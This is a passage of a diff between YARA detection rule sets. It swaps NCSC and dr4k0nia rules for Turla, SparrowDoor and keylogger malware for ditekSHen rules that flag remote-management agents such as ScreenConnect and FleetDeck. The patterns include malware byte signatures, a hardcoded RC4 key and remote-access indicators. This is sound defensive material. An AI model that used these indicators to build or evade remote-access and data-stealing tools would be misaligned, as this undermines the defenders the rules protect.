+		$s1 = "var _tmp = 'Detected OS: ' + require('os').Name;" ascii
+		$s2 = "console.log(getSHA384FileHash(process.execPath).toString('hex'))" ascii
+		$s3 = "ScriptContainer.Create(): Error spawning child process, using [%s]" fullword ascii
+		$s4 = "{\"agent\":\"" ascii
+		$s6 = "process.versions.commitHash" fullword ascii
+		$s7 = "console.log('Error Initializing script from Zip file');process._exit();" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $a
+		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 3 of ($s*)) or 6 of ($s*))
 }
-rule NCSC_Nautilus_Rc4_Key : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Meshagent_CERT : FILE
 {
 	meta:
-		description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
-		author = "NCSC UK"
-		id = "124c8b95-46fb-5cc1-9b10-b10536e1781d"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L81-L92"
-		license_url = "N/A"
-		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
-		logic_hash = "215c0a20b3793411eea3cbf85a2e5ada8ce6b1f5aa8d84fc468a354c53df2b0c"
+		description = "Detects Mesh Agent by (default) certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "b4b52faa-53a5-5ecf-bff8-984994449ee0"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L29-L42"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d8ac3aec723a87146be99aefbde5642d095d8d41f69c6f5e9981c39104790d33"
 		score = 75
-		quality = 78
+		quality = 75
 		tags = "FILE"
 
-	strings:
-		$key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}
-
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $key
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "MeshCentralRoot-")
 }
-rule NCSC_Nautilus_Common_Strings : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Connectwise_Screenconnect : FILE
 {
 	meta:
-		description = "Rule for detection of Nautilus based on common plaintext strings"
-		author = "NCSC UK"
-		id = "0e3af6ef-1a97-5324-a186-95e6f3d836f4"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L94-L110"
-		license_url = "N/A"
-		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
-		logic_hash = "28d664018e396d48928678de35ea95148ca1c6579efcb832c50606f43089a862"
+		description = "Detects ConnectWise Control (formerly ScreenConnect). Review RMM Inventory"
+		author = "ditekSHen"
+		id = "d752b7e4-b595-56cb-97f1-a60e73160e5a"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L62-L83"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "43003f97c33c631a2806ce2b82b2367d2452ceb21b0267b5dfe78b350b66924a"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.ConnectWise-ScreenConnect"
 
 	strings:
-		$ = "nautilus-service.dll" ascii
-		$ = "oxygen.dll" ascii
-		$ = "config_listen.system" ascii
-		$ = "ctx.system" ascii
-		$ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
-		$ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
+		$s1 = "FILESYSCREENCONNECT.CORE, VERSION=" wide
+		$s2 = "feedback.screenconnect.com/Feedback.axd" wide
+		$s3 = /ScreenConnect (Software|Client)/ wide
+		$s4 = "ScreenConnect.InstallerActions!ScreenConnect." wide
+		$s5 = "\\\\.\\Pipe\\TerminalServer\\SystemExecSrvr\\" wide
+		$s6 = "\\jmorgan\\Source\\cwcontrol\\Custom\\DotNetRunner\\" wide
+		$s7 = "ScreenConnect." ascii
+		$s8 = "\\ScreenConnect.Core.pdb" ascii
+		$s9 = "relay.screenconnect.com" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 3 of them
+		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 3 of them
 }
-rule NCSC_Neuron2_Loader_Strings : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Connectwise_Screenconnect_CERT : FILE
 {
 	meta:
-		description = "Rule for detection of Neuron2 based on strings within the loader"
-		author = "NCSC"
-		id = "eaef4710-1971-55a2-9079-07a9b8bd86eb"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L130-L146"
-		license_url = "N/A"
-		hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
-		logic_hash = "c873eaf6f00ea1ee7d86dad451b997d4c8c45c27ac07c3a222b57b5dc203a810"
+		description = "Detects ConnectWise Control (formerly ScreenConnect) by (default) certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "7a032c24-8a9e-51c3-983e-62e13594aa35"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L85-L99"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "14291bd9ddb7fd3ee7932f8104687aae58fe7f5de13726153e5e1ee9c211f598"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
 
-	strings:
-		$ = "dcom_api" ascii
-		$ = "http://*:80/OWA/OAB/" ascii
-		$ = "https://*:443/OWA/OAB/" ascii
-		$ = "dcomnetsrv.cpp" wide
-		$ = "dcomnet.dll" ascii
-		$ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii
-
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Connectwise, LLC")
 }
-rule NCSC_Neuron2_Decryption_Routine : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Agent : FILE
 {
 	meta:
-		description = "Rule for detection of Neuron2 based on the routine used to decrypt the payload"
-		author = "NCSC"
-		id = "6fa43865-f970-57c0-81c7-e9c851e9453c"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L148-L159"
-		license_url = "N/A"
-		hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
-		logic_hash = "27a9de186dd1a91e3e3c18a786e5604e46e8d2f6364d76fa441bff15eb1aed84"
+		description = "Detects FleetDeck Agent. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "342a196c-1c5c-5951-85e4-d288311b4980"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L101-L123"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "121e59ea0088c519b618e740b57c560d60cced4a48c9d468e6bf1ab22fa8c8ff"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.FleetDeckAgent"
 
 	strings:
-		$ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01}
+		$s1 = "fleetdeck.io/" ascii
+		$s2 = "load FleetDeck agent" ascii
+		$s3 = ".dev1.fleetdeck.io" ascii
+		$s4 = "remoteDesktopSessionMutex" ascii
+		$s5 = "main.remoteDesktopWatchdog" fullword ascii
+		$s6 = "main.virtualTerminalWatchdog" fullword ascii
+		$s7 = "main.meetRemoteDesktop" fullword ascii
+		$s8 = "repo.senri.se/prototype3/" ascii
+		$s9 = "main.svcIpcClient" fullword ascii
+		$s10 = "main.hookMqttLogging" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
+		uint16(0)==0x5a4d and 4 of them
 }
-rule NCSC_Neuron2_Dotnet_Strings : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander : FILE
 {
 	meta:
-		description = "Rule for detection of the .NET payload for Neuron2 based on strings used"
-		author = "NCSC"
-		id = "a36e4009-e1a1-520a-9397-8b6f2ad4065a"
-		date = "2018-02-06"
-		modified = "2018-02-06"
-		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L161-L176"
-		license_url = "N/A"
-		hash = "83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015"
-		logic_hash = "9a0e8a3b627fa46f11fb5bbf926665aed4de6250c5229c8acb59c784e66943e5"
+		description = "Detects FleetDeck Commander. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "27d533b5-7a66-507e-8ef8-ad9a6cd39ab1"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L125-L143"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "feee888c6649af0d8e8b08a38dda0bf7970089cf064f58b8bd9c6ebd8378e094"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander"
 
 	strings:
-		$dotnetMagic = "BSJB" ascii
-		$s1 = "http://*:80/W3SVC/" wide
-		$s2 = "https://*:443/W3SVC/" wide
-		$s3 = "neuron2.exe" ascii
-		$s4 = "D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb" ascii
+		$s1 = "Software\\Microsoft\\FleetDeck Commander" ascii
+		$s2 = "fleetdeck.io/prototype3/" ascii
+		$s3 = "fleetdeck_commander_launcher.exe" ascii
+		$s4 = "fleetdeck_commander_svc.exe" ascii
+		$s5 = "|FleetDeck Commander" ascii
+		$s6 = "c:\\agent\\_work\\66\\s\\" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 2 of ($s*)
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule NCSC_Sparrowdoor_Clipshot : FILE
+rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_SVC : FILE
 {
 	meta:
-		description = "The SparrowDoor loader contains a feature it calls clipshot, which logs clipboard data to a file."
-		author = "NCSC"
-		id = "186e694b-6ae1-5042-847a-f54708dc76ef"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_clipshot.yar#L3-L20"
-		license_url = "N/A"
-		logic_hash = "7662e3be2752ac82d6cfe4b2e420157e78367c201c25ae34b5d956dc53ba20ae"
+		description = "Detects FleetDeck Commander SVC. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "c03b61b4-36d0-5d38-9af8-e78b9930231f"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L145-L162"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "20bd69df3d058c24f83af312671cf249a3f26f54ef2e60f6b5b48a5bdb21b68b"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
+		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-SVC"
 
 	strings:
-		$exsting_cmp = {8B 1E 3B 19 75 ?? 83 E8 04 83 C1 04 83 C6 04 83 F8 04}
-		$time_format_string = "%d/%d/%d %d:%d" ascii
-		$cre_fil_args = {6A 00 68 80 00 00 00 6A 04 6A 00 6A 02 68 00 00 00 40 52}
+		$s1 = "fleetdeckfork/execfuncargs(" ascii
+		$s2 = "REG ADD HKEY_CLASSES_ROOT\\%s /V \"URL Protocol\" /T REG_SZ /F" ascii
+		$s3 = "proceed: *.fleetdeck.io" ascii
+		$s4 = "fleetdeck.io/prototype3/commander_svc" ascii
+		$s5 = "commanderupdate.fleetdeck.io" ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and all of them and (pe.imports("User32.dll","OpenClipboard") and pe.imports("User32.dll","GetClipboardData") and pe.imports("Kernel32.dll","GetLocalTime") and pe.imports("Kernel32.dll","GlobalSize"))
+		uint16(0)==0x5a4d and 4 of them
 }
-rule NCSC_Sparrowdoor_Loader : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_Launcher : FILE
 {
 	meta:
-		description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant."
-		author = "NCSC"
-		id = "7107cb82-c4c9-503f-b006-baec6b667498"
-		date = "2022-02-28"
-		modified = "2022-07-06"
-		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_loader.yar#L1-L15"
-		license_url = "N/A"
-		logic_hash = "fa1bd386114d912722a5101a0112355dec654e2e9446c885c12946c7fae1c8f4"
+		description = "Detects FleetDeck Commander Launcher. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "9a4a221e-7a7a-5008-b509-7f01e4a3eea6"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L164-L178"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9429f55f162eebc58a7a9af8706244438cb76b1f0987facbb52d29997ed48b95"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = "FILE"
-		hash1 = "989b3798841d06e286eb083132242749c80fdd4d"
+		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-Launcher"
 
 	strings:
-		$xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1}
-		$rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56}
-		$lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56}
+		$s1 = "fleetdeck.io/prototype3/commander_launcher" ascii
+		$s2 = "FleetDeck Commander Launcher" ascii
 
 	condition:
-		( uint16(0)==0x5A4D) and uint32( uint32(0x3C))==0x00004550 and all of them
+		uint16(0)==0x5a4d and all of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Dr4k0nia
- * Repository: https://github.com/dr4k0nia/yara-rules
- * Retrieval Date: 2024-08-04
- * Git Commit: 4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8
- * Number of Rules: 5
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * # Detection Rule License (DRL) 1.1
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:
-
-If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:
-
-1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
-
-2. a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable
-
-3. indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable
-
-If you use the Rules (including in modified form) on data, messages based on matches with the Rules must retain the following if it is supplied within the Rules:
-
-1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).
-
-THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.
+import "pe"
 
- */
-rule DR4K0NIA_MAL_Msil_Net_Niximports_Loader : FILE
+rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_CERT : FILE
 {
 	meta:
-		description = "Detects NixImports .NET loader"
-		author = "dr4k0nia"
-		id = "ba0d072d-674a-5790-9381-4dac98204268"
-		date = "2023-05-21"
-		modified = "2023-05-22"
-		reference = "https://github.com/dr4k0nia/NixImports"
-		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_mal_niximports_loader.yar#L1-L21"
-		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
-		logic_hash = "79421b2677705852f893fa53478deb2e4aa8bd354ac05cbf5438a3a2a15d70bf"
+		description = "Detects FleetDeck agent by (default) certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "49a6b0bb-599a-54b0-85bc-b2f6849e3ae8"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L180-L198"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8f72713eb4a5d9d32629351b937eee7de5d83abe1cd409cd8c3a8c9c52e6e490"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
 
-	strings:
-		$op_pe = {C2 95 C2 97 C2 B2 C2 92 C2 82 C2 82 C2 8E C2 82 C2 82 C2 82 C2 82 C2 86 C2 82}
-		$op_delegate = {20 F0 C7 FF 80 20 83 BF 7F 1F 14 14}
-		$a1 = "GetRuntimeProperties" ascii fullword
-		$a2 = "GetTypes" ascii fullword
-		$a3 = "GetRuntimeMethods" ascii fullword
-		$a4 = "netstandard" ascii fullword
-
 	condition:
-		uint16(0)==0x5a4d and filesize <3MB and all of ($a*) and 2 of ($op*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : ((pe.signatures[i].issuer contains "Sectigo Limited" or pe.signatures[i].issuer contains "COMODO CA Limited") and pe.signatures[i].subject contains "FleetDeck Inc")
 }
-rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Pdqconnect_Agent : FILE
 {
 	meta:
-		description = "Detects TyphonLogger .NET payloads"
-		author = "dr4k0nia"
-		id = "2fbc1d9e-9c07-560b-9476-a176cdbe1bad"
-		date = "2023-11-07"
-		modified = "2023-07-11"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/mal_msil_typhon_logger.yar#L1-L21"
-		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
-		hash = "fc8733c217b49ca14702a59a637efc7dba6a2993d57e67424513ce2f5e9d8ed8"
-		logic_hash = "5c22aab1942e31095989b8267e0231191718d4ec44eb3afc6a50f929aae872c8"
+		description = "Detects PDQ Connect Agent. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "067e75a3-291b-500f-865d-8758eebe91e7"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L200-L227"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "34d0b07925551d1b08b86aa226c59aba569b6548cfa00a86ce6b1f271e427662"
 		score = 75
-		quality = 81
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$sa1 = "SetWindowsHookEx" ascii fullword
-		$sa2 = "iphlpapi.dll" ascii fullword
-		$sa3 = "SendARP" ascii fullword
-		$sa4 = "costura.bouncycastle.crypto.dll.compressed" ascii fullword
-		$op1 = {51 32 46 79 64 47 55 67 51 6D 78 68 62 6D 4E 6F 5A 53 42 44 59 58 4A 6B}
-		$op2 = {53 57 35 7A 64 47 45 67 55 47 46 35 62 57 56 75 64 43 42 44 59 58 4A 6B}
-		$op3 = {20 25 32 C4 C1 35 4C 11 06 20 6B 6D AC 1D 35 1D 11 06 20 4B A6 CA 11 3B 59 01 00 00 11 06 20 6B 6D AC 1D}
-		$sx = "New Projects\\EmeraldLogger\\EmeraldLogger\\obj\\" ascii
+		$api1 = "/devices/register" ascii
+		$api2 = "/devices/socket/websocket?device_id=" ascii
+		$api3 = "/devices/tasks" ascii
+		$api4 = "/devices/auth-challenge" ascii
+		$api5 = "/devices/receiver/Url" ascii
+		$s1 = "sign_pdq.rs" ascii
+		$s2 = "x-pdq-dateCredential=(.+?)/" ascii
+		$s3 = "pdq-connect-agent" ascii
+		$s4 = "PDQ Connect Agent" ascii
+		$s5 = "PDQConnectAgent" ascii
+		$s6 = "PDQConnectAgentsrc\\logger.rs" ascii
+		$s7 = "-PDQ-Key-IdsUser-Agent" ascii
+		$s8 = "\\PDQ\\PDQConnectAgent\\" ascii
+		$s9 = "\\pdq_connect_agent.pdb" ascii
+		$s10 = "task_ids[]PDQ rover" ascii
+		$s11 = "https://app.pdq.com/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ($sx or ( all of ($sa*) and 2 of ($op*)))
+		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and (4 of ($s*) or (3 of ($api*) and 1 of ($s*)))
 }
-import "dotnet"
+import "pe"
 
-rule DR4K0NIA_Msil_Susp_Obf_Antidump : FILE
+rule DITEKSHEN_INDICATOR_RMM_Pdqconnect_Agent_CERT : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Dr4k0nia"
-		author = "dr4k0nia"
-		id = "d9217ade-a016-548e-b63f-f6ee78ff8775"
-		date = "2023-12-03"
-		modified = "2023-03-13"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_antidump.yar#L7-L39"
-		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
-		hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42"
-		logic_hash = "18cfc720f54b2178398f8214591a3fb777ea11e67a8a6d2ce26cc4891a62fd35"
-		score = 65
-		quality = 85
+		description = "Detects PDQ Connect Agent by (default) certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "7e830cf0-8f47-5b38-85cd-9777a6878cf1"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L229-L243"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "373a32b8bfd8c4295ba0c0302a217ccfbb7c7c616f91035097adbc5384b8afdb"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		version = "1.0"
-
-	strings:
-		$import0 = "ZeroMemory"
-		$import1 = "VirtualProtect"
-		$importt2 = "GetCurrentProcess"
-		$array0 = {08 00 00 00 0c 00 00 00 10 00 00 00 14 00 00 00
-		18 00 00 00 1c 00 00 00 24 00 00 00}
-		$array1 = {04 00 00 00 16 00 00 00 18 00 00 00 40 00 00 00
-		42 00 00 00 44 00 00 00 46 00 00 00 48 00 00 00
-		4a 00 00 00 4c 00 00 00 5c 00 00 00 5e 00 00 00}
-		$array2 = {00 00 00 00 08 00 00 00 0c 00 00 00 10 00 00 00
-		16 00 00 00 1c 00 00 00 20 00 00 00 28 00 00 00
-		2c 00 00 00 34 00 00 00 3c 00 00 00 4c 00 00 00
-		50 00 00 00 54 00 00 00 58 00 00 00 60 00 00 00
-		64 00 00 00 68 00 00 00 6c 00 00 00 70 00 00 00
-		74 00 00 00 04 01 00 00 08 01 00 00 0c 01 00 00
-		10 01 00 00 14 01 00 00 1c 01 00 00}
 
 	condition:
-		uint16(0)==0x5a4d and dotnet.is_dotnet and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert, Inc." and pe.signatures[i].subject contains "PDQ.com Corporation")
 }
-import "dotnet"
+import "pe"
 
-rule DR4K0NIA_Msil_Susp_Obf_Xorstringsnet : FILE
+rule DITEKSHEN_INDICATOR_RMM_Pulseway_Pcmontasksrv : FILE
 {
 	meta:
-		description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
-		author = "dr4k0nia"
-		id = "0bea654d-9244-5320-a815-691384decc74"
-		date = "2023-03-26"
-		modified = "2023-03-26"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_xorstringsnet.yar#L3-L16"
-		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
-		logic_hash = "c494b5b64bcb63d1edd611206fb41eb9a23a940a72c3e9fc3f626e91482b1352"
-		score = 65
-		quality = 85
+		description = "Detects Pulseway pcmontask and service user agent responsible for Remote Control, Screens View, Computer Lock, etc"
+		author = "ditekSHen"
